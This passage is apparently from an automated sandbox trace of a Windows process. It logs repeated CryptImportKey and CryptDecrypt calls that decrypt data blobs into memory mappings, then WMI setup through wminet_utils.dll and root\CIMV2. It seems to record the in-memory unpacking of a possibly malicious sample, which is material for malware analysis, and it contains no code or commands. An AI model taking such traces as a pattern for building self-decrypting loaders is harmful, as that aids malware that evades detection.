hKey=0x1b2e86d0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bbb60 | out: phKey=0x1b0bbb60*=0x1b2e78d0) returned 1 [0149.774] CryptContextAddRef (hProv=0x1b2f1690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.774] CryptSetKeyParam (hKey=0x1b2e78d0, dwParam=0x4, pbData=0x26aaa30*=0x1, dwFlags=0x0) returned 1 [0149.774] CryptSetKeyParam (hKey=0x1b2e78d0, dwParam=0x1, pbData=0x26aa9e0, dwFlags=0x0) returned 1 [0149.774] CryptDestroyKey (hKey=0x1b2e86d0) returned 1 [0149.774] CryptReleaseContext (hProv=0x1b2f1690, dwFlags=0x0) returned 1 [0149.774] CryptReleaseContext (hProv=0x1b2f1690, dwFlags=0x0) returned 1 [0149.774] CryptDecrypt (in: hKey=0x1b2e78d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26aaa50, pdwDataLen=0x1b0bbcc0 | out: pbData=0x26aaa50, pdwDataLen=0x1b0bbcc0) returned 1 [0149.774] CryptDecrypt (in: hKey=0x1b2e78d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26aac80, pdwDataLen=0x1b0bbcb0 | out: pbData=0x26aac80, pdwDataLen=0x1b0bbcb0) returned 0 [0149.919] CryptDestroyKey (hKey=0x1b2e78d0) returned 1 [0149.919] CryptReleaseContext (hProv=0x1b2f1690, dwFlags=0x0) returned 1 [0149.919] CryptReleaseContext (hProv=0x1b2f1690, dwFlags=0x0) returned 1 [0149.939] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a00, lpName=0x0) returned 0x414 [0149.939] memcpy (in: _Dst=0x2390000, _Src=0x26b8090, _Size=0x4a00 | out: _Dst=0x2390000) returned 0x2390000 [0150.090] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6400, lpName=0x0) returned 0x41c [0150.090] memcpy (in: _Dst=0x23a0000, _Src=0x26cd7c0, _Size=0x6400 | out: _Dst=0x23a0000) returned 0x23a0000 [0150.242] CryptAcquireContextW (in: phProv=0x1b0bb728, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bb728*=0x1b2f1790) returned 1 [0150.243] CryptImportKey (in: hProv=0x1b2f1790, pbData=0x26dbee0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bb6b0 | out: phKey=0x1b0bb6b0*=0x1b2e7b00) returned 1 [0150.243] CryptContextAddRef (hProv=0x1b2f1790, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.243] CryptContextAddRef (hProv=0x1b2f1790, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.243] CryptDuplicateKey (in: hKey=0x1b2e7b00, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bb6a0 | out: phKey=0x1b0bb6a0*=0x1b2e8270) returned 1 [0150.243] CryptContextAddRef (hProv=0x1b2f1790, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.243] CryptSetKeyParam (hKey=0x1b2e8270, dwParam=0x4, pbData=0x26dc000*=0x1, dwFlags=0x0) returned 1 [0150.243] CryptSetKeyParam (hKey=0x1b2e8270, dwParam=0x1, pbData=0x26dbfb0, dwFlags=0x0) returned 1 [0150.243] CryptDestroyKey (hKey=0x1b2e7b00) returned 1 [0150.243] CryptReleaseContext (hProv=0x1b2f1790, dwFlags=0x0) returned 1 [0150.243] CryptReleaseContext (hProv=0x1b2f1790, dwFlags=0x0) returned 1 [0150.243] CryptDecrypt (in: hKey=0x1b2e8270, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26dc020, pdwDataLen=0x1b0bb800 | out: pbData=0x26dc020, pdwDataLen=0x1b0bb800) returned 1 [0150.244] CryptDecrypt (in: hKey=0x1b2e8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26dc368, pdwDataLen=0x1b0bb7f0 | out: pbData=0x26dc368, pdwDataLen=0x1b0bb7f0) returned 0 [0150.398] CryptDestroyKey (hKey=0x1b2e8270) returned 1 [0150.398] CryptReleaseContext (hProv=0x1b2f1790, dwFlags=0x0) returned 1 [0150.398] CryptReleaseContext (hProv=0x1b2f1790, dwFlags=0x0) returned 1 [0150.411] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6200, lpName=0x0) returned 0x43c [0150.412] memcpy (in: _Dst=0x23b0000, _Src=0x26ecc80, _Size=0x6200 | out: _Dst=0x23b0000) returned 0x23b0000 [0150.723] CryptAcquireContextW (in: phProv=0x1b0bbaf8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bbaf8*=0x1b2eff90) returned 1 [0150.723] CryptImportKey (in: hProv=0x1b2eff90, pbData=0x26fb510*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bba80 | out: phKey=0x1b0bba80*=0x1b2e8270) returned 1 [0150.723] CryptContextAddRef (hProv=0x1b2eff90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.724] CryptContextAddRef (hProv=0x1b2eff90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.724] CryptDuplicateKey (in: hKey=0x1b2e8270, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bba70 | out: phKey=0x1b0bba70*=0x1b2e86d0) returned 1 [0150.724] CryptContextAddRef (hProv=0x1b2eff90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0150.724] CryptSetKeyParam (hKey=0x1b2e86d0, dwParam=0x4, pbData=0x26fb630*=0x1, dwFlags=0x0) returned 1 [0150.724] CryptSetKeyParam (hKey=0x1b2e86d0, dwParam=0x1, pbData=0x26fb5e0, dwFlags=0x0) returned 1 [0150.724] CryptDestroyKey (hKey=0x1b2e8270) returned 1 [0150.724] CryptReleaseContext (hProv=0x1b2eff90, dwFlags=0x0) returned 1 [0150.724] CryptReleaseContext (hProv=0x1b2eff90, dwFlags=0x0) returned 1 [0150.724] CryptDecrypt (in: hKey=0x1b2e86d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26fb650, pdwDataLen=0x1b0bbbd0 | out: pbData=0x26fb650, pdwDataLen=0x1b0bbbd0) returned 1 [0150.724] CryptDecrypt (in: hKey=0x1b2e86d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26fb758, pdwDataLen=0x1b0bbbc0 | out: pbData=0x26fb758, pdwDataLen=0x1b0bbbc0) returned 0 [0150.797] CryptDestroyKey (hKey=0x1b2e86d0) returned 1 [0150.797] CryptReleaseContext (hProv=0x1b2eff90, dwFlags=0x0) returned 1 [0150.797] CryptReleaseContext (hProv=0x1b2eff90, dwFlags=0x0) returned 1 [0150.977] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c00, lpName=0x0) returned 0x46c [0150.977] memcpy (in: _Dst=0x2410000, _Src=0x2565fe0, _Size=0x1c00 | out: _Dst=0x2410000) returned 0x2410000 [0151.083] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5200, lpName=0x0) returned 0x484 [0151.084] memcpy (in: _Dst=0x23c0000, _Src=0x25f1d40, _Size=0x5200 | out: _Dst=0x23c0000) returned 0x23c0000 [0151.197] CryptAcquireContextW (in: phProv=0x1b0bbbf8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bbbf8*=0x1b2f0690) returned 1 [0151.197] CryptImportKey (in: hProv=0x1b2f0690, pbData=0x25fa640*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bbb80 | out: phKey=0x1b0bbb80*=0x1b2e8430) returned 1 [0151.197] CryptContextAddRef (hProv=0x1b2f0690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.197] CryptContextAddRef (hProv=0x1b2f0690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.197] CryptDuplicateKey (in: hKey=0x1b2e8430, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bbb70 | out: phKey=0x1b0bbb70*=0x1b2e7cc0) returned 1 [0151.198] CryptContextAddRef (hProv=0x1b2f0690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.198] CryptSetKeyParam (hKey=0x1b2e7cc0, dwParam=0x4, pbData=0x25fa760*=0x1, dwFlags=0x0) returned 1 [0151.198] CryptSetKeyParam (hKey=0x1b2e7cc0, dwParam=0x1, pbData=0x25fa710, dwFlags=0x0) returned 1 [0151.198] CryptDestroyKey (hKey=0x1b2e8430) returned 1 [0151.198] CryptReleaseContext (hProv=0x1b2f0690, dwFlags=0x0) returned 1 [0151.198] CryptReleaseContext (hProv=0x1b2f0690, dwFlags=0x0) returned 1 [0151.198] CryptDecrypt (in: hKey=0x1b2e7cc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25fa780, pdwDataLen=0x1b0bbcd0 | out: pbData=0x25fa780, pdwDataLen=0x1b0bbcd0) returned 1 [0151.198] CryptDecrypt (in: hKey=0x1b2e7cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25fa870, pdwDataLen=0x1b0bbcc0 | out: pbData=0x25fa870, pdwDataLen=0x1b0bbcc0) returned 0 [0151.318] CryptDestroyKey (hKey=0x1b2e7cc0) returned 1 [0151.318] CryptReleaseContext (hProv=0x1b2f0690, dwFlags=0x0) returned 1 [0151.318] CryptReleaseContext (hProv=0x1b2f0690, dwFlags=0x0) returned 1 [0151.336] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x484 [0151.336] memcpy (in: _Dst=0x23d0000, _Src=0x26071c8, _Size=0x4200 | out: _Dst=0x23d0000) returned 0x23d0000 [0151.370] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x484 [0151.371] memcpy (in: _Dst=0x23e0000, _Src=0x260e478, _Size=0x8400 | out: _Dst=0x23e0000) returned 0x23e0000 [0151.473] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x48c [0151.473] memcpy (in: _Dst=0x23f0000, _Src=0x261b2e0, _Size=0x1000 | out: _Dst=0x23f0000) returned 0x23f0000 [0151.500] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x48c [0151.500] memcpy (in: _Dst=0x2400000, _Src=0x261e988, _Size=0x1800 | out: _Dst=0x2400000) returned 0x2400000 [0151.531] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5800, lpName=0x0) returned 0x48c [0151.531] memcpy (in: _Dst=0x1acf0000, _Src=0x2624310, _Size=0x5800 | out: _Dst=0x1acf0000) returned 0x1acf0000 [0151.591] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x48c [0151.591] memcpy (in: _Dst=0x1ad00000, _Src=0x266ec80, _Size=0x1200 | out: _Dst=0x1ad00000) returned 0x1ad00000 [0151.741] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a00, lpName=0x0) returned 0x4a4 [0151.742] memcpy (in: _Dst=0x1ad10000, _Src=0x26b4ed8, _Size=0x5a00 | out: _Dst=0x1ad10000) returned 0x1ad10000 [0151.872] CryptAcquireContextW (in: phProv=0x1b0bbb38, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bbb38*=0x1b2f2890) returned 1 [0151.873] CryptImportKey (in: hProv=0x1b2f2890, pbData=0x26c2ab8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bbac0 | out: phKey=0x1b0bbac0*=0x1b2e7e10) returned 1 [0151.873] CryptContextAddRef (hProv=0x1b2f2890, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.873] CryptContextAddRef (hProv=0x1b2f2890, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.873] CryptDuplicateKey (in: hKey=0x1b2e7e10, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bbab0 | out: phKey=0x1b0bbab0*=0x1b2e86d0) returned 1 [0151.873] CryptContextAddRef (hProv=0x1b2f2890, pdwReserved=0x0, dwFlags=0x0) returned 1 [0151.873] CryptSetKeyParam (hKey=0x1b2e86d0, dwParam=0x4, pbData=0x26c2bd8*=0x1, dwFlags=0x0) returned 1 [0151.873] CryptSetKeyParam (hKey=0x1b2e86d0, dwParam=0x1, pbData=0x26c2b88, dwFlags=0x0) returned 1 [0151.874] CryptDestroyKey (hKey=0x1b2e7e10) returned 1 [0151.874] CryptReleaseContext (hProv=0x1b2f2890, dwFlags=0x0) returned 1 [0151.874] CryptReleaseContext (hProv=0x1b2f2890, dwFlags=0x0) returned 1 [0151.874] CryptDecrypt (in: hKey=0x1b2e86d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c2bf8, pdwDataLen=0x1b0bbc10 | out: pbData=0x26c2bf8, pdwDataLen=0x1b0bbc10) returned 1 [0151.874] CryptDecrypt (in: hKey=0x1b2e86d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26c2d88, pdwDataLen=0x1b0bbc00 | out: pbData=0x26c2d88, pdwDataLen=0x1b0bbc00) returned 0 [0152.070] CryptDestroyKey (hKey=0x1b2e86d0) returned 1 [0152.070] CryptReleaseContext (hProv=0x1b2f2890, dwFlags=0x0) returned 1 [0152.070] CryptReleaseContext (hProv=0x1b2f2890, dwFlags=0x0) returned 1 [0152.654] CryptAcquireContextW (in: phProv=0x1b0bcb08, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bcb08*=0x1b2f2690) returned 1 [0152.655] CryptImportKey (in: hProv=0x1b2f2690, pbData=0x267d780*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bca90 | out: phKey=0x1b0bca90*=0x1b2e86d0) returned 1 [0152.655] CryptContextAddRef (hProv=0x1b2f2690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0152.655] CryptContextAddRef (hProv=0x1b2f2690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0152.655] CryptDuplicateKey (in: hKey=0x1b2e86d0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bca80 | out: phKey=0x1b0bca80*=0x1b2e7da0) returned 1 [0152.655] CryptContextAddRef (hProv=0x1b2f2690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0152.655] CryptSetKeyParam (hKey=0x1b2e7da0, dwParam=0x4, pbData=0x267d8a0*=0x1, dwFlags=0x0) returned 1 [0152.656] CryptSetKeyParam (hKey=0x1b2e7da0, dwParam=0x1, pbData=0x267d850, dwFlags=0x0) returned 1 [0152.656] CryptDestroyKey (hKey=0x1b2e86d0) returned 1 [0152.656] CryptReleaseContext (hProv=0x1b2f2690, dwFlags=0x0) returned 1 [0152.656] CryptReleaseContext (hProv=0x1b2f2690, dwFlags=0x0) returned 1 [0152.656] CryptDecrypt (in: hKey=0x1b2e7da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x267d8c0, pdwDataLen=0x1b0bcbe0 | out: pbData=0x267d8c0, pdwDataLen=0x1b0bcbe0) returned 1 [0152.656] CryptDecrypt (in: hKey=0x1b2e7da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x267dfb0, pdwDataLen=0x1b0bcbd0 | out: pbData=0x267dfb0, pdwDataLen=0x1b0bcbd0) returned 0 [0152.803] CryptDestroyKey (hKey=0x1b2e7da0) returned 1 [0152.803] CryptReleaseContext (hProv=0x1b2f2690, dwFlags=0x0) returned 1 [0152.803] CryptReleaseContext (hProv=0x1b2f2690, dwFlags=0x0) returned 1 [0152.967] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc6b8 | out: ppv=0x1b0bc6b8*=0x4b0108) returned 0x0 [0152.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b0bae40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0152.970] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7ffa71660000 [0152.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1b0bb480, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0152.977] GetProcAddress (hModule=0x7ffa71660000, lpProcName="ResetSecurity") returned 0x7ffa716631e0 [0152.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1b0bb480, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity^ú\x7f", lpUsedDefaultChar=0x0) returned 11 [0152.986] GetProcAddress (hModule=0x7ffa71660000, lpProcName="SetSecurity") returned 0x7ffa71663250 [0152.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1b0bb470, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesq\x02", lpUsedDefaultChar=0x0) returned 18 [0152.996] GetProcAddress (hModule=0x7ffa71660000, lpProcName="BlessIWbemServices") returned 0x7ffa71661ab0 [0153.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1b0bb470, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x80", lpUsedDefaultChar=0x0) returned 24 [0153.029] GetProcAddress (hModule=0x7ffa71660000, lpProcName="BlessIWbemServicesObject") returned 0x7ffa71661b60 [0153.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1b0bb470, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle;q\x02", lpUsedDefaultChar=0x0) returned 17 [0153.053] GetProcAddress (hModule=0x7ffa71660000, lpProcName="GetPropertyHandle") returned 0x7ffa71662820 [0153.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1b0bb470, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueq\x02", lpUsedDefaultChar=0x0) returned 18 [0153.067] GetProcAddress (hModule=0x7ffa71660000, lpProcName="WritePropertyValue") returned 0x7ffa71663500 [0153.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b0bb480, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0153.075] GetProcAddress (hModule=0x7ffa71660000, lpProcName="Clone") returned 0x7ffa71661c10 [0153.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1b0bb470, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0153.080] GetProcAddress (hModule=0x7ffa71660000, lpProcName="VerifyClientKey") returned 0x7ffa716633e0 [0153.191] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc6a8 | out: pAptType=0x1b0bc6a8*=1) returned 0x0 [0153.191] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc6b0 | out: ppvObject=0x1b0bc6b0*=0x0) returned 0x80004002 [0153.192] IUnknown:Release (This=0x4b0108) returned 0x0 [0153.199] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1b0bbed8 | out: lpiid=0x1b0bbed8) returned 0x0 [0153.201] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbaa8 | out: ppv=0x1b0bbaa8*=0x1b30e3b0) returned 0x0 [0153.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b30e3b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbb90 | out: ppvObject=0x1b0bbb90*=0x0) returned 0x80004002 [0153.227] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b30e3b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb68 | out: ppvObject=0x1b0bbb68*=0x4f2a40) returned 0x0 [0153.228] WbemDefPath:IUnknown:Release (This=0x1b30e3b0) returned 0x0 [0153.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb910 | out: ppvObject=0x1b0bb910*=0x4f2a40) returned 0x0 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bb9a0 | out: ppvObject=0x1b0bb9a0*=0x0) returned 0x80004002 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb198 | out: ppvObject=0x1b0bb198*=0x0) returned 0x80004002 [0153.229] WbemDefPath:IUnknown:AddRef (This=0x4f2a40) returned 0x3 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb058 | out: ppvObject=0x1b0bb058*=0x0) returned 0x80004002 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bafe0 | out: ppvObject=0x1b0bafe0*=0x0) returned 0x80004002 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bafd0 | out: ppvObject=0x1b0bafd0*=0x1b30df90) returned 0x0 [0153.229] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b30df90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0baff8 | out: pCid=0x1b0baff8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0153.229] WbemDefPath:IUnknown:Release (This=0x1b30df90) returned 0x3 [0153.229] CoGetContextToken (in: pToken=0x1b0bb080 | out: pToken=0x1b0bb080) returned 0x0 [0153.229] CoGetContextToken (in: pToken=0x1b0bb500 | out: pToken=0x1b0bb500) returned 0x0 [0153.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5c0 | out: ppvObject=0x1b0bb5c0*=0x0) returned 0x80004002 [0153.229] WbemDefPath:IUnknown:Release (This=0x4f2a40) returned 0x2 [0153.229] WbemDefPath:IUnknown:Release (This=0x4f2a40) returned 0x1 [0153.230] CoGetContextToken (in: pToken=0x1b0bc2f0 | out: pToken=0x1b0bc2f0) returned 0x0 [0153.230] CoGetContextToken (in: pToken=0x1b0bc1f0 | out: pToken=0x1b0bc1f0) returned 0x0 [0153.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2a40, riid=0x1b0bc350*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc320 | out: ppvObject=0x1b0bc320*=0x4f2a40) returned 0x0 [0153.230] WbemDefPath:IUnknown:AddRef (This=0x4f2a40) returned 0x3 [0153.230] WbemDefPath:IUnknown:Release (This=0x4f2a40) returned 0x2 [0153.230] WbemDefPath:IWbemPath:SetText (This=0x4f2a40, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0153.231] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc6d8 | out: puCount=0x1b0bc6d8*=0x2) returned 0x0 [0153.231] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc6d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc6d0*=0xf, pszText=0x0) returned 0x0 [0153.231] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc6d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc6d0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0153.232] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc6e8 | out: puCount=0x1b0bc6e8*=0x2) returned 0x0 [0153.232] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, 